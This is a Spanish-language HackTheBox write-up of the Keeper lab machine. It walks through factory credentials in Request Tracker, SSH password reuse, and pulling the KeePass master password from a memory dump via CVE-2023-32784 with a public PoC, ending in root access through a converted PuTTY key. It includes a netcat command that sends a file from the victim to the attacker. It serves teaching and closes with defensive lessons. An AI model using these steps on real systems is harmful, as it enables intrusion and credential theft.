Saltar al contenido
cd ..
HTBEXP-0006
RESUELTA

Keeper

Linux Fácil 15 min de lectura
Default CredsKeePassCVE-2023-32784
EMemmb15ago 2026

Writeup en video

Recorrido completo de Keeper: del reconocimiento a la raíz, paso a paso.

Keeper — HackTheBox

Writeup de la máquina Keeper (HackTheBox · Linux · Fácil) por NeMeZIS (@_emmb15). Expone un sistema de tickets Request Tracker (RT 4.4.4) que sigue con las credenciales de fábrica (root:password): con acceso al panel se filtra la contraseña de un usuario, que se reutiliza por SSH para la user flag. En el directorio del usuario aparece un volcado de memoria de KeePass afectado por la CVE-2023-32784, que permite recuperar la contraseña maestra en texto claro; dentro del .kdbx está la clave privada PuTTY de root, que tras convertirla a formato OpenSSH nos abre SSH como root sin contraseña. Las IPs reales se omiten a propósito (<IP HTB>): reemplazalas por la de tu instancia.

Créditos: parte de la metodología está inspirada en el contenido educativo de S4vitar (video). Todos los créditos a él por el enfoque de enseñanza.

Técnicas utilizadas

FaseTécnicaDescripción
ReconocimientoEscaneo de puertos (Nmap)Identificación de servicios: SSH (22) y HTTP (80)
ExplotaciónCredenciales por defectoLogin en Request Tracker con las creds de fábrica root:password sin cambiar (CWE-1392)
Enumeración autenticadaExposición de datos sensiblesEn Admin → Users, el perfil de lnorgaard muestra su contraseña en texto plano
AccesoReutilización de credenciales (SSH)La misma contraseña sirve para entrar por SSH y leer la user flag
Post-explotaciónAnálisis de volcado de memoriaUn RT30000.zip trae un KeePassDumpFull.dmp y la base passcodes.kdbx
EscaladaExplotación de CVE-2023-32784 (KeePass)PoC sobre el .dmp para reconstruir la contraseña maestra
EscaladaExtracción de la clave PuTTY de rootEn el .kdbx está la clave privada .ppk del usuario root
EscaladaConversión con puttygen y login como rootSe pasa el .ppk a formato OpenSSH y se entra por SSH como root sin contraseña

Conceptos clave

ConceptoDescripción
Credenciales por defecto (CWE-1392)Muchos productos se despliegan con usuarios y contraseñas de fábrica documentados públicamente (como root:password en Request Tracker). Si el administrador no las cambia, cualquiera se autentica.
Fallos de autenticación (OWASP A07)Agrupa fallos de identidad y sesión: contraseñas débiles o por defecto, sin rotación, y credenciales expuestas. Usar creds de fábrica con acceso administrativo encaja de lleno aquí.
Exposición de datos sensiblesMostrar o guardar contraseñas en claro (una "contraseña inicial" visible en el perfil de un usuario) deja que cualquiera con acceso al panel las lea. Se agrava con el password reuse en otros servicios.
CVE-2023-32784 (KeePass Master Password Dumper)En KeePass 2.x < 2.54, al teclear la contraseña maestra el control SecureTextBoxEx deja cadenas residuales en memoria (una por carácter). Desde un volcado se reconstruye la maestra en claro; solo el primer carácter no se recupera (CVSS 9.8).
Análisis de volcados de memoriaUn dump guarda el estado del proceso en un instante, incluidos datos que no deberían tocar disco (claves, contraseñas, tokens). Analizarlo es clave tanto en respuesta a incidentes como en post-explotación.
Claves PuTTY (.ppk) y puttygenPuTTY usa un formato propio (.ppk) distinto del de OpenSSH. Para usar la clave con el ssh de Linux hay que convertirla: puttygen key.ppk -O private-openssh -o id_rsa. Tener la clave privada equivale a tener la identidad del usuario.

Fase 1 · Reconocimiento

Arrancamos con un escaneo de todos los puertos para ver qué está expuesto:

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP HTB>

Escaneo de todos los puertos

Salen dos: 22/SSH y 80/HTTP. Sobre ellos lanzamos un escaneo de versiones y scripts por defecto:

nmap -sCV -p22,80 <IP HTB>

Escaneo de servicios y versiones

searchsploit openssh no da nada aprovechable (la versión está al día), así que vamos directo a la web por la IP:

La web servida por la IP

Aparece un enlace, pero al hacer clic el navegador falla:

Error al seguir el enlace

El enlace apunta a keeper.htb y nuestro equipo no sabe a qué IP corresponde: es un dominio interno, no está en ningún DNS público. Lo resolvemos a mano añadiéndolo al /etc/hosts:

sudo nvim /etc/hosts

Añadiendo keeper.htb al /etc/hosts

Guardamos, recargamos y ahora sí carga la web:

La web de keeper.htb ya resuelve

Fase 2 · Request Tracker con credenciales de fábrica

Es un panel de Request Tracker, de Best Practical. Probar admin:admin no funciona, pero buscando por el fabricante damos con sus credenciales por defecto:

Buscando las credenciales por defecto de Request Tracker

Efectivamente, no cambiaron los valores de fábrica: entramos con root:password. El panel tiene mucha información, y la interesante está en Admin → Users → (elegir usuario):

Admin → Users en el panel

En el perfil de Lise Nørgaard (lnorgaard) la contraseña está expuesta en texto plano dentro del propio panel:

La contraseña de lnorgaard expuesta en claro

Fase 3 · Acceso por SSH y user flag

Con esas credenciales probamos SSH, por si hay reutilización de contraseñas:

Login por SSH como lnorgaard

Reutiliza credenciales: estamos dentro. Ya podemos leer la user flag y pasar a la escalada:

User flag

Fase 4 · El botín: RT30000.zip

En el home hay un RT30000.zip. Para analizarlo con calma lo traemos a nuestra máquina. Primero abrimos un puerto en escucha con netcat, redirigiendo a un archivo:

sudo nc -lvnp 443 > archivo.zip

netcat en escucha en el 443

Y desde la víctima lo enviamos por ese puerto:

nc <NUESTRA IP> 443 < RT30000.zip

Enviando el zip desde la víctima

Comparamos los hashes en ambos lados para confirmar que llegó íntegro:

md5sum archivo.zip

md5sum en la máquina atacante

md5sum en la máquina víctima

Coinciden. Listamos y extraemos el contenido con 7z:

7z l archivo.zip
7z x archivo.zip

Contenido del zip: un .dmp y un .kdbx

Trae dos piezas: un volcado de memoria (KeePassDumpFull.dmp) y una base de datos KeePass cifrada (passcodes.kdbx). Si intentamos abrir el .kdbx no pasamos del login: no tenemos la contraseña maestra.

Fase 5 · CVE-2023-32784: reconstruir la clave maestra

El otro archivo es un dump. Buscando vulnerabilidades de KeePass relacionadas con volcados de memoria damos con la CVE-2023-32784:

Buscando la vulnerabilidad del volcado de KeePass

En GitHub encontramos la PoC de vdohney que reconstruye la contraseña maestra a partir del .dmp:

La PoC en GitHub

Detalle del repositorio de la PoC

Uso de la PoC

Parámetros del script

La descargamos con wget:

Descargando la PoC con wget

Y la ejecutamos pasándole el volcado:

python3 keepass_dump.py -f KeePassDumpFull.dmp

Resultado de la PoC

Recupera casi toda la contraseña, pero el primer carácter queda como desconocido (Unknown) — es justo la limitación de la CVE. La candidata parece una palabra en otro idioma; buscándola en Google encontramos la coincidencia:

Buscando la palabra en Google

Es rødgrød med fløde (un postre danés). Probamos a pegarla tal cual en KeePass y da error: seguramente trata las ø nórdicas como caracteres especiales.

keepassxc passcodes.kdbx

Error al abrir el .kdbx con la contraseña tal cual

Vamos probando variantes (quitar caracteres especiales, espacios, mayúsculas…) hasta que abre: bastaba con quitar las mayúsculas.

La base de KeePass abierta

Fase 6 · Escalada a root con la clave PuTTY

Dentro del gestor, en Passcodes → Network hay una contraseña de root. Nos la copiamos por si sirve para SSH:

Entrada de root en KeePass

La contraseña de root

Esa contraseña por SSH da error, pero en la misma entrada hay algo más valioso: lo que parece una clave privada SSH-RSA en formato PuTTY (.ppk):

La clave privada PuTTY guardada en KeePass

Una .ppk no la entiende el ssh de Linux directamente; hay que convertirla. Para eso necesitamos las putty-tools:

Necesitamos putty-tools para convertir la clave

Guardamos la clave en nuestra máquina:

Guardando la .ppk localmente

En Arch la herramienta viene en el paquete putty:

sudo pacman -S putty

Convertimos la .ppk a formato OpenSSH:

puttygen Clave.ppk -O private-openssh -o Clave_rsa

La clave convertida a formato RSA/OpenSSH

Con la clave privada ya podemos entrar como root sin necesidad de contraseña:

ssh -i Clave_rsa root@<IP HTB>

Login por SSH como root con la clave

Leemos la root flag y damos la máquina por comprometida. 🚩

Root flag

Lecciones

  • Cambiá siempre las credenciales de fábrica. El punto de entrada fue un Request Tracker con root:password sin tocar: las creds por defecto están documentadas públicamente y son de lo primero que se prueba.
  • No muestres ni guardes contraseñas en claro. La "contraseña inicial" visible en el perfil del usuario, sumada al password reuse en SSH, entregó el primer acceso sin esfuerzo.
  • Los secretos también viven en la memoria. La CVE-2023-32784 recupera la clave maestra de KeePass desde un volcado; nunca dejes accesibles dumps de procesos que manejan credenciales, y mantené el software actualizado (KeePass ≥ 2.54).
  • Una clave privada es una identidad. La .ppk de root guardada en el gestor bastó para tomar la máquina entera. Custodiá las claves privadas como lo que son: acceso directo, sin contraseña.